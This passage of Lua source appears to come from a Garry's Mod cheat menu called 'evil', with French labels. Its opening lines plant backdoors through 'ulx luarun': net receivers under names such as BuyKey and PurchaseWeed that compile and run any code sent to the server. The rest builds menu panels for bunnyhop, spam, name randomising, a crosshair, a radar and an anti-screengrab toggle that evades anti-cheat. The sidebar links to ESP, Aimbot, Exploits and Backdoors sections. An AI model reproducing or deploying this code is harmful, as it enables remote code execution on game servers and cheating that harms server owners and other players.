6011LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'BuyKey' ) net.Receive( 'BuyKey', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6012LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'casinokit_chipexchange' ) net.Receive( 'casinokit_chipexchange', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6013LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'PurchaseWeed' ) net.Receive( 'PurchaseWeed', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6014LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'DoDealerDeliver' ) net.Receive( 'DoDealerDeliver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6015LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'sendDuelInfo' ) net.Receive( 'sendDuelInfo', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6016LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'InviteMember' ) net.Receive( 'InviteMember', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6017LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'newTerritory' ) net.Receive( 'newTerritory', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6018LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'CreateOrganization' ) net.Receive( 'CreateOrganization', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6019LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'ChangeOrgName' ) net.Receive( 'ChangeOrgName', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6020LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'IS_SubmitSID_C2S' ) net.Receive( 'IS_SubmitSID_C2S', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6021
6022end)
6023
6024function BD:Fun( pContent )
6025
6026
6027local BDMenuFun = vgui.Create("DPanel", pContent)
6028BDMenuFun:SetSize( 539, 388 )
6029BDMenuFun:SetPos( 0, 0 )
6030BDMenuFun.Paint = function( self, w, h)
6031draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
6032draw.SimpleText("In development", "DermaDefault", 350, 180, Color(255, 255, 255,100), 0, 1)
6033
6034draw.RoundedBox( 0, 20, 102, w - 307, 2, Color( 50,50,50, 255 ) )
6035draw.RoundedBox( 0, 20, 290, w - 307, 2, Color( 50,50,50, 255 ) )
6036
6037draw.RoundedBox( 200, 20, 10, 2, h - 20, Color( 50,50,50, 255 ) )
6038draw.RoundedBox( 200, 250, 10, 2, h - 20, Color( 50,50,50, 255 ) )
6039draw.RoundedBox( 0, 20, 378, w - 307, 2, Color( 50,50,50, 255 ) )
6040draw.RoundedBox( 0, 20, 10, w - 452, 2, Color( 50,50,50, 255 ) )
6041draw.RoundedBox( 0, 165, 10, w - 453, 2, Color( 50,50,50, 255 ) )
6042draw.SimpleText("Utilitaires", "evil_home3", 110, 10, Color(100, 100, 100,255), 0, 1)
6043
6044--[[draw.RoundedBox( 200, 515, 10, 2, h - 216, Color( 50,50,50, 255 ) )
6045draw.RoundedBox( 200, 282, 10, 2, h - 216, Color( 50,50,50, 255 ) )
6046draw.RoundedBox( 0, 284, 180, w - 307, 2, Color( 50,50,50, 255 ) )
6047draw.RoundedBox( 0, 284, 10, w - 435, 2, Color( 50,50,50, 255 ) )
6048draw.RoundedBox( 0, 417, 10, w - 440, 2, Color( 50,50,50, 255 ) )
6049draw.SimpleText("Troll", "evil_home3", 390, 10, Color(100, 100, 100,255), 0, 1)
6050
6051draw.RoundedBox( 200, 515, 205, 2, h - 213, Color( 50,50,50, 255 ) )
6052draw.RoundedBox( 200, 282, 205, 2, h - 213, Color( 50,50,50, 255 ) )
6053draw.RoundedBox( 0, 284, 378, w - 307, 2, Color( 50,50,50, 255 ) )
6054draw.RoundedBox( 0, 284, 205, w - 440, 2, Color( 50,50,50, 255 ) )
6055draw.RoundedBox( 0, 425, 205, w - 448, 2, Color( 50,50,50, 255 ) )
6056draw.SimpleText("Autres", "evil_home3", 386, 205, Color(100, 100, 100,255), 0, 1)]]--
6057
6058if fiji_style_menu:GetInt() == 2 then
6059draw.RoundedBox( 0, 0, 242, 2, h - 242, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6060draw.RoundedBox( 0, 0, 0, 2, h - 190, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6061
6062elseif fiji_style_menu:GetInt() == 1 then
6063draw.RoundedBox( 0, 0, 242, 2, h - 242, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6064draw.RoundedBox( 0, 0, 0, 2, h - 190, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6065
6066else
6067draw.RoundedBox( 0, 0, 242, 2, h - 242, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6068draw.RoundedBox( 0, 0, 0, 2, h - 190, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6069end
6070
6071end
6072
6073
6074-- bhop
6075local btnbhop = BD:CreateBtn( "BHOP", 30, 30, 65, 25, pContent )
6076function btnbhop:DoClick() if fiji_fun_bunnyhop:GetInt() == 1 then surface.PlaySound( fiji_evilclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_bunnyhop:GetInt() == 1 then RunConsoleCommand( "fiji_fun_bunnyhop", 0 ) else RunConsoleCommand( "fiji_fun_bunnyhop", 1 ) end end
6077function btnbhop:Think() if fiji_fun_bunnyhop:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6078
6079-- end bhop
6080
6081
6082--spam l
6083
6084local btnspamlight = BD:CreateBtn( "SPAM LAMPE", 98, 30, 75, 25, pContent )
6085function btnspamlight:DoClick() if fiji_fun_spamlight:GetInt() == 1 then surface.PlaySound( fiji_evilclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_spamlight:GetInt() == 1 then RunConsoleCommand( "fiji_fun_spamlight", 0 ) else RunConsoleCommand( "fiji_fun_spamlight", 1 ) end end
6086function btnspamlight:Think() if fiji_fun_spamlight:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6087
6088
6089--spam l end
6090
6091local btnbhop = BD:CreateBtn( "FOLIE", 176, 30, 65, 25, pContent )
6092function btnbhop:DoClick() if fiji_fun_spamrope:GetInt() == 1 then surface.PlaySound( fiji_evilclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_spamrope:GetInt() == 1 then RunConsoleCommand( "fiji_fun_spamrope", 0 ) else RunConsoleCommand( "fiji_fun_spamrope", 1 ) end end
6093function btnbhop:Think() if fiji_fun_spamrope:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6094
6095
6096
6097
6098local tablename1 = { "Joe", "John", "Jack", "Barry", "Chris", "Christopher", "Michael", "David", "Thomas", "Paul", "Tony", "Mark", "Cooper", "Jared", "James", "Jimmy", "Bob", "Robert", "Riley", "William", "Will", "Donald", "George", "Ken", "Steve", "Bruce", "Brian", "Chad", "Anthony", "Tim", "Eddie", "Daniel", "Larry", "Jeff", "Justin", "Adam", "Ralph", "Brandon", "Xavier", "Greg", "Gordon", "Scott", "Taine", "Howie", "Morgan", "Curtis", "Dwayne", "Steven", "Peter", "Kevin", "Coleman", "Garry", }
6099local tablename2 = { "Houston", "Burch", "Smith", "Jones", "Trump", "Sanders", "Abbott", "Cruise", "Brown", "Hopgood", "Davis", "Miller", "Wilson", "Walker", "Lee", "Lions", "Bryant", "Hall", "Adams", "Green", "Aldridge", "Turner", "Anderson", "Morris", "Howard", "Swanson", "Peterson", "Powell", "Keating", "Rudd", "Coleman", "Cunningham", "Donnell", "Callaghan", "Smithers", "Burns", "Bonds", "Gonzales", "Griffin", "Woods", "Gibson", "Webb", "Simpson", "Freeman", "Mcdonald", "Butters", "Masterson", "Keefe", "Sanderson", "Badger", "Cantrip", "Williams", "DontBanMe", "Lopez", "Clark", "Campbell", "King", "Coleman", "Chongs", "Riviera", "Ward", "Gray", "Ross", }
6100
6101local btnnomrandom = BD:CreateBtn( "random name", 55, 70, 76, 25, pContent )
6102function btnnomrandom:DoClick() LocalPlayer():ConCommand("say /name "..table.Random( tablename1 ).." "..table.Random( tablename1 )) end
6103
6104local btnnommort = BD:CreateBtn( "VUE TPS", 134, 70, 75, 25, pContent )
6105function btnnommort:DoClick() if fiji_fun_thperson:GetInt() == 1 then surface.PlaySound( fiji_evilclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_thperson:GetInt() == 1 then RunConsoleCommand( "fiji_fun_thperson", 0 ) else RunConsoleCommand( "fiji_fun_thperson", 1 ) end end
6106function btnnommort:Think() if fiji_fun_thperson:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6107
6108
6109
6110local btnnommort = BD:CreateBtn( "CROSSHAIR", 98, 110, 75, 25, pContent )
6111function btnnommort:DoClick() if fiji_fun_crosshair:GetInt() == 1 then surface.PlaySound( fiji_evilclick ) else surface.PlaySound( "buttons/button15.wav" ) end if fiji_fun_crosshair:GetInt() == 1 then RunConsoleCommand( "fiji_fun_crosshair", 0 ) else RunConsoleCommand( "fiji_fun_crosshair", 1 ) end end
6112function btnnommort:Think() if fiji_fun_crosshair:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6113
6114local pPmopi = vgui.Create( "DPanel", pContent )
6115pPmopi:SetPos( 30, 140 )
6116pPmopi:SetSize( 212, 50 )
6117function pPmopi:Paint( w, h )
6118draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
6119draw.SimpleText( "crosshair size", "evil_home5", 7, h / 2, color_white, 0, 1 )
6120end
6121local pDistancemopi = vgui.Create( "DNumSlider", pContent )
6122pDistancemopi:SetPos( 85, 140 )
6123pDistancemopi:SetSize( 180, 50 )
6124pDistancemopi:SetText( "" )
6125pDistancemopi:SetMin( -15 )
6126pDistancemopi:SetMax( 120 )
6127pDistancemopi:SetDecimals( 0 )
6128pDistancemopi:SetValue( fiji_fun_crosshairtaille:GetInt())
6129pDistancemopi.Scratch:SetVisible( false )
6130pDistancemopi.TextArea:SetTextColor( color_white )
6131function pDistancemopi.Slider:Paint(w, h)
6132surface.SetDrawColor(0, 0, 0, 255)
6133surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
6134if fiji_style_menu:GetInt() == 2 then
6135surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
6136surface.DrawRect(0, 21, barw, h / 5)
6137
6138elseif fiji_style_menu:GetInt() == 1 then
6139surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6140surface.DrawRect(0, 21, barw, h / 5)
6141
6142else
6143surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
6144surface.DrawRect(0, 21, barw, h / 5)
6145end
6146end
6147function pDistancemopi:SetHeight(tall)
6148self.Slider.Knob:SetHeight(tall / 2 + 4)
6149DSlider.SetHeight(self, tall)
6150pDistancemopi.SetTall = pDistancemopi.SetHeight
6151pDistancemopi.Slider.Knob:SetTall(5)
6152end
6153function pDistancemopi.Slider.Knob:Paint(w, h)
6154derma.SkinHook( "Paint", "Button", self, 0, 0 )
6155end
6156function pDistancemopi:OnValueChanged( val )
6157RunConsoleCommand( "fiji_fun_crosshairtaille", tonumber( self:GetValue() ) )
6158end
6159
6160
6161
6162local ColorMenucross = vgui.Create( "DPanel", pContent )
6163ColorMenucross:SetSize( 220, 50 )
6164ColorMenucross:SetPos( 26, 195 )
6165function ColorMenucross:Paint( w, h )
6166draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
6167draw.SimpleText( "Couleur Crosshair", "evil_home5", 79, 8, color_white, 0, 1 )
6168end
6169local OptionsColorRedMENU = vgui.Create( "DButton", ColorMenucross )
6170OptionsColorRedMENU:SetPos( 1,20 )
6171OptionsColorRedMENU:SetSize( 20, 20 )
6172OptionsColorRedMENU:SetText( " " )
6173OptionsColorRedMENU.Paint = function( self, w, h )
6174if self:IsHovered() then
6175draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
6176surface.SetDrawColor(255, 255, 255 ,100)
6177surface.DrawOutlinedRect(0, 0, w, h)
6178else
6179draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
6180surface.SetDrawColor(255, 255, 255 ,100)
6181surface.DrawOutlinedRect(0, 0, w, h)
6182end
6183OptionsColorRedMENU.DoClick = function()
6184LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 238")
6185LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 61")
6186LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 61")
6187LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6188surface.PlaySound( fiji_evilhover )
6189
6190end
6191end
6192local OptionsColorOrangeMENU = vgui.Create( "DButton", ColorMenucross )
6193OptionsColorOrangeMENU:SetPos( 23,20 )
6194OptionsColorOrangeMENU:SetSize( 20, 20 )
6195OptionsColorOrangeMENU:SetText( " " )
6196OptionsColorOrangeMENU.Paint = function( self, w, h )
6197if self:IsHovered() then
6198draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
6199surface.SetDrawColor(255, 255, 255 ,100)
6200surface.DrawOutlinedRect(0, 0, w, h)
6201else
6202draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
6203surface.SetDrawColor(255, 255, 255 ,100)
6204surface.DrawOutlinedRect(0, 0, w, h)
6205end
6206OptionsColorOrangeMENU.DoClick = function()
6207LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 255")
6208LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 162")
6209LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 91")
6210LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6211surface.PlaySound( fiji_evilhover )
6212
6213end
6214end
6215local OptionsColorYellowMENU = vgui.Create( "DButton", ColorMenucross )
6216OptionsColorYellowMENU:SetPos( 45,20 )
6217OptionsColorYellowMENU:SetSize( 20, 20 )
6218OptionsColorYellowMENU:SetText( " " )
6219OptionsColorYellowMENU.Paint = function( self, w, h )
6220if self:IsHovered() then
6221draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
6222surface.SetDrawColor(255, 255, 255 ,100)
6223surface.DrawOutlinedRect(0, 0, w, h)
6224else
6225draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
6226surface.SetDrawColor(255, 255, 255 ,100)
6227surface.DrawOutlinedRect(0, 0, w, h)
6228end
6229OptionsColorYellowMENU.DoClick = function()
6230LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 246")
6231LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 255")
6232LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 91")
6233LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6234surface.PlaySound( fiji_evilhover )
6235
6236end
6237end
6238local OptionsColorGreenMENU = vgui.Create( "DButton", ColorMenucross )
6239OptionsColorGreenMENU:SetPos( 67,20 )
6240OptionsColorGreenMENU:SetSize( 20, 20 )
6241OptionsColorGreenMENU:SetText( " " )
6242OptionsColorGreenMENU.Paint = function( self, w, h )
6243if self:IsHovered() then
6244draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
6245surface.SetDrawColor(255, 255, 255 ,100)
6246surface.DrawOutlinedRect(0, 0, w, h)
6247else
6248draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
6249surface.SetDrawColor(255, 255, 255 ,100)
6250surface.DrawOutlinedRect(0, 0, w, h)
6251end
6252OptionsColorGreenMENU.DoClick = function()
6253LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 130")
6254LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 255")
6255LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 132")
6256LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6257surface.PlaySound( fiji_evilhover )
6258
6259end
6260end
6261local OptionsColorBlueMENU = vgui.Create( "DButton", ColorMenucross )
6262OptionsColorBlueMENU:SetPos( 89,20 )
6263OptionsColorBlueMENU:SetSize( 20, 20 )
6264OptionsColorBlueMENU:SetText( " " )
6265OptionsColorBlueMENU.Paint = function( self, w, h )
6266if self:IsHovered() then
6267draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
6268surface.SetDrawColor(255, 255, 255 ,100)
6269surface.DrawOutlinedRect(0, 0, w, h)
6270else
6271draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
6272surface.SetDrawColor(255, 255, 255 ,100)
6273surface.DrawOutlinedRect(0, 0, w, h)
6274end
6275OptionsColorBlueMENU.DoClick = function()
6276LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 104")
6277LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
6278LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 255")
6279LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6280surface.PlaySound( fiji_evilhover )
6281
6282end
6283end
6284local OptionsColorPurpleMENU = vgui.Create( "DButton", ColorMenucross )
6285OptionsColorPurpleMENU:SetPos( 111,20 )
6286OptionsColorPurpleMENU:SetSize( 20, 20 )
6287OptionsColorPurpleMENU:SetText( " " )
6288OptionsColorPurpleMENU.Paint = function( self, w, h )
6289if self:IsHovered() then
6290draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
6291surface.SetDrawColor(255, 255, 255 ,100)
6292surface.DrawOutlinedRect(0, 0, w, h)
6293else
6294draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
6295surface.SetDrawColor(255, 255, 255 ,100)
6296surface.DrawOutlinedRect(0, 0, w, h)
6297end
6298OptionsColorPurpleMENU.DoClick = function()
6299LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 168")
6300LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
6301LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 255")
6302LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6303surface.PlaySound( fiji_evilhover )
6304
6305end
6306end
6307local OptionsColorPinkMENU = vgui.Create( "DButton", ColorMenucross )
6308OptionsColorPinkMENU:SetPos( 133,20 )
6309OptionsColorPinkMENU:SetSize( 20, 20 )
6310OptionsColorPinkMENU:SetText( " " )
6311OptionsColorPinkMENU.Paint = function( self, w, h )
6312if self:IsHovered() then
6313draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
6314surface.SetDrawColor(255, 255, 255 ,100)
6315surface.DrawOutlinedRect(0, 0, w, h)
6316else
6317draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
6318surface.SetDrawColor(255, 255, 255 ,100)
6319surface.DrawOutlinedRect(0, 0, w, h)
6320end
6321OptionsColorPinkMENU.DoClick = function()
6322LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 255")
6323LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 102")
6324LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 235")
6325LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6326surface.PlaySound( fiji_evilhover )
6327
6328end
6329end
6330local OptionsColorBlackMENU = vgui.Create( "DButton", ColorMenucross )
6331OptionsColorBlackMENU:SetPos( 155,20 )
6332OptionsColorBlackMENU:SetSize( 20, 20 )
6333OptionsColorBlackMENU:SetText( " " )
6334OptionsColorBlackMENU.Paint = function( self, w, h )
6335if self:IsHovered() then
6336draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
6337surface.SetDrawColor(255, 255, 255 ,100)
6338surface.DrawOutlinedRect(0, 0, w, h)
6339else
6340draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
6341surface.SetDrawColor(255, 255, 255 ,100)
6342surface.DrawOutlinedRect(0, 0, w, h)
6343end
6344OptionsColorBlackMENU.DoClick = function()
6345LocalPlayer():ConCommand("fiji_fun_crosshaircolor1 60")
6346LocalPlayer():ConCommand("fiji_fun_crosshaircolor2 60")
6347LocalPlayer():ConCommand("fiji_fun_crosshaircolor3 60")
6348LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 0")
6349surface.PlaySound( fiji_evilhover )
6350
6351end
6352end
6353local OptionsColormultiMENU = vgui.Create( "DButton", ColorMenucross )
6354OptionsColormultiMENU:SetPos( 177,20 )
6355OptionsColormultiMENU:SetSize( 20, 20 )
6356OptionsColormultiMENU:SetText( " " )
6357OptionsColormultiMENU.Paint = function( self, w, h )
6358if self:IsHovered() then
6359draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6360surface.SetDrawColor(255, 255, 255 ,100)
6361surface.DrawOutlinedRect(0, 0, w, h)
6362else
6363draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
6364surface.SetDrawColor(255, 255, 255 ,100)
6365surface.DrawOutlinedRect(0, 0, w, h)
6366end
6367OptionsColormultiMENU.DoClick = function()
6368LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 1")
6369surface.PlaySound( fiji_evilhover )
6370
6371end
6372end
6373local OptionsColorhackMENU = vgui.Create( "DButton", ColorMenucross )
6374OptionsColorhackMENU:SetPos( 199,20 )
6375OptionsColorhackMENU:SetSize( 20, 20 )
6376OptionsColorhackMENU:SetText( " " )
6377OptionsColorhackMENU.Paint = function( self, w, h )
6378if self:IsHovered() then
6379draw.RoundedBox(0,0,0,w,h,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6380surface.SetDrawColor(255, 255, 255 ,100)
6381surface.DrawOutlinedRect(0, 0, w, h)
6382else
6383draw.RoundedBox( 0, 0, 0, w, h, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6384surface.SetDrawColor(255, 255, 255 ,100)
6385surface.DrawOutlinedRect(0, 0, w, h)
6386end
6387OptionsColorhackMENU.DoClick = function()
6388LocalPlayer():ConCommand("fiji_fun_crosshaircolortype 2")
6389surface.PlaySound( fiji_evilhover )
6390
6391end
6392end
6393
6394
6395local btnstylea = BD:CreateBtn( "STYLE 2", 137, 255, 65, 25, pContent )
6396function btnstylea:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_fun_crosshairstyle:GetInt() == 2 then RunConsoleCommand( "fiji_fun_crosshairstyle", 2 ) else RunConsoleCommand( "fiji_fun_crosshairstyle", 2 ) end end
6397function btnstylea:Think() if fiji_fun_crosshairstyle:GetInt() == 2 then self.activebtn = true else self.activebtn = false end end
6398local btnstyleb = BD:CreateBtn( "STYLE 1", 68, 255, 65, 25, pContent )
6399function btnstyleb:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_fun_crosshairstyle:GetInt() == 1 then RunConsoleCommand( "fiji_fun_crosshairstyle", 1 ) else RunConsoleCommand( "fiji_fun_crosshairstyle", 1 ) end end
6400function btnstyleb:Think() if fiji_fun_crosshairstyle:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6401
6402
6403--crosshair end
6404
6405local btnradara = BD:CreateBtn( "MIROIR", 134, 305, 65, 25, pContent )
6406function btnradara:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_fun_radar:GetInt() == 2 then RunConsoleCommand( "fiji_fun_radar", 0 ) else RunConsoleCommand( "fiji_fun_radar", 2 ) end end
6407function btnradara:Think() if fiji_fun_radar:GetInt() == 2 then self.activebtn = true else self.activebtn = false end end
6408local btnradarb = BD:CreateBtn( "RADAR", 65, 305, 65, 25, pContent )
6409function btnradarb:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_fun_radar:GetInt() == 1 then RunConsoleCommand( "fiji_fun_radar", 0 ) else RunConsoleCommand( "fiji_fun_radar", 1 ) end end
6410function btnradarb:Think() if fiji_fun_radar:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6411
6412local btnantiscreen = BD:CreateBtn( "ANTI SCREENGRAB", 65, 345, 134, 25, pContent )
6413function btnantiscreen:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_fun_screengrab:GetInt() == 1 then RunConsoleCommand( "fiji_fun_screengrab", 0 ) else RunConsoleCommand( "fiji_fun_screengrab", 1 ) end end
6414function btnantiscreen:Think() if fiji_fun_screengrab:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
6415
6416end-- end fun function
6417
6418
6419concommand.Add("evil", function()
6420
6421local BDMenu = vgui.Create( "DFrame" )
6422BDMenu:SetSize( 700, 400 )
6423BDMenu:Center()
6424BDMenu:SetTitle("")
6425BDMenu:SetDraggable( true )
6426BDMenu:ShowCloseButton( false )
6427BDMenu:MakePopup()
6428function BDMenu:Paint( w, h )
6429
6430
6431DrawBlur(self, 25)
6432draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
6433draw.RoundedBox( 0, 6.7, 5, w - 550, 53, Color( 110,110,110, 40 ) )
6434if fiji_style_menu:GetInt() == 2 then
6435draw.RoundedBox( 0, 4, 4, w - 8, 2,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
6436draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6437draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6438draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
6439elseif fiji_style_menu:GetInt() == 1 then
6440draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6441draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6442draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6443draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
6444else
6445draw.RoundedBox( 0, 4, 4, w - 8, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6446draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6447draw.RoundedBox( 0, 4, 6, 2, h - 12, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6448draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
6449end
6450
6451if fiji_exist_contentevil:GetInt() == 1 then
6452
6453surface.SetMaterial( fiji_evilhome )
6454surface.SetDrawColor( 255, 255, 255, 255 )
6455surface.DrawTexturedRect( 57, 60, 50, 40 )
6456
6457surface.SetMaterial( fiji_evilesp )
6458surface.SetDrawColor( 255, 255, 255, 255 )
6459surface.DrawTexturedRect( 57, 110, 50, 40 )
6460
6461surface.SetMaterial( fiji_evilaimbot )
6462surface.SetDrawColor( 255, 255, 255, 255 )
6463surface.DrawTexturedRect( 57, 160, 50, 40 )
6464
6465surface.SetMaterial( fiji_evilmisc )
6466surface.SetDrawColor( 255, 255, 255, 255 )
6467surface.DrawTexturedRect( 57, 210, 50, 35 )
6468
6469surface.SetMaterial( fiji_evilexploits )
6470surface.SetDrawColor( 255, 255, 255, 255 )
6471surface.DrawTexturedRect( 57, 254, 50, 40 )
6472
6473
6474surface.SetMaterial( fiji_evilbackdoors )
6475surface.SetDrawColor( 255, 255, 255, 255 )
6476surface.DrawTexturedRect( 57, 303, 50, 40 )
6477
6478
6479surface.SetMaterial( fiji_evilconfig )
6480surface.SetDrawColor( 255, 255, 255, 255 )
6481surface.DrawTexturedRect( 57, 350, 50, 40 )
6482else end
6483
6484surface.SetMaterial( fiji_evillogo )
6485surface.SetDrawColor( 255, 255, 255, 255 )
6486surface.DrawTexturedRect( 55, 5, 50, 50 )
6487end
6488
6489
6490
6491
6492
6493concommand.Add( "clear_evil", function() -- fiji_sv_existmen
6494BDMenu:Remove()
6495
6496end)
6497
6498
6499if IsValid( BDMenu ) && IsValid( BDMenu:GetParent() ) then
6500LocalPlayer():ConCommand("fiji_sv_existmen 1")
6501else
6502LocalPlayer():ConCommand("fiji_sv_existmen 0")
6503end
6504
6505
6506local tblSideBar = {
6507[1] = { Name = "Dashboard", Func = function( pContent )
6508pContent:Clear()
6509BD:Dashboard( pContent )
6510BD.BtnHovered = 1
6511end },
6512[2] = { Name = "ESP", Func = function( pContent )
6513pContent:Clear()
6514BD:Esp( pContent )
6515BD.BtnHovered = 2
6516end },
6517[3] = { Name = "Aimbot", Func = function( pContent )
6518pContent:Clear()
6519BD:Aimbot( pContent )
6520BD.BtnHovered = 3
6521end },
6522[4] = { Name = "Fun", Func = function( pContent )
6523pContent:Clear()
6524BD:Fun( pContent )
6525BD.BtnHovered = 4
6526end },
